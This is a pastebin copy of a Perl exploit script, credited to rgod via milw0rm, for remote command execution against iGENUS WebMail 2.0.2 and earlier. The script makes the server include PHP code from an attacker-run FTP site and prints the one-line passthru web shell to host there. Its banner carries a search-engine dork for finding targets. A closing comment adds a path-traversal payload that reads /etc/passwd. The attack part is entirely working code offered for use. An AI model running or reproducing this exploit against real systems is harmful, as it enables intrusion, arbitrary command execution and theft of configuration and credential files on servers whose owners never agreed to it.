PERL6 121
IGENUS_WebMail.pl Guest on 6th May 2020 01:28:25 PM
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4. print "______________________________________________________\r\n";
  5. print "iGENUS WebMail <= 2.0.2 remote commads xctn\r\n";
  6. print "-> works against PHP5 with register_globals = On\r\n";
  7. print "   & allow_url_fopen = On\r\n";
  8. print "by rgod rgod<AT>autistici<DOT>org\r\n";
  9. print "site: http://retrogod.altervista.org\r\n\r\n";
  10. print "dork:  intitle:\"igenus webmail login\"\r\n";
  11. print "______________________________________________________\r\n";
  12.  
  13. sub main::urlEncode {
  14.     my ($string) = @_;
  15.     $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
  16.     #$string# =~ tr/.//;
  17.     return $string;
  18.  }
  19.  
  20. $serv=$ARGV[0];
  21. $path=$ARGV[1];
  22. $loc=urlEncode($ARGV[2]);
  23. $cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
  24.  
  25. if (@ARGV < 4)
  26. {
  27. print "\r\nUsage:\r\n";
  28. print "perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMAND\r\n\r\n";
  29. print "SERVER         - Server where iGENUS is installed.\r\n";
  30. print "PATH           - Path to iGENUS (ex: /igenus/ or just /) \r\n";
  31. print "FTP_LOCATION   - an FTP site with the code to include\r\n";
  32. print "COMMAND        - a Unix command\r\n\r\n";
  33. print "Example:\r\n";
  34. print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -la\r\n";
  35. print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.php\r\n\r\n";
  36. print "note: on ftp location you need this code in .config :\r\n";
  37. print "<?php ob_clean();ini_set(\"max_execution_time\",0);passthru(\$_GET[\"cmd\"]);die;?>\r\n\r\n";
  38. exit();
  39. }
  40.  
  41.   $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  42.   or die "[+] Connecting ... Could not connect to host.\n\n";
  43.   print $sock "GET ".$path."config/config_inc.php?cmd=".$cmd."&SG_HOME=".$loc." HTTP/1.1\r\n";
  44.   print $sock "Host: ".$serv."\r\n";
  45.   print $sock "Connection: close\r\n\r\n";
  46.  
  47.   while ($answer = <$sock>) {
  48.     print $answer;
  49.   }
  50.   close($sock);
  51.  
  52. # ----------------> also, with magic_quotes_gpc = Off, try this:
  53. # http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00
  54.  
  55. # milw0rm.com

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.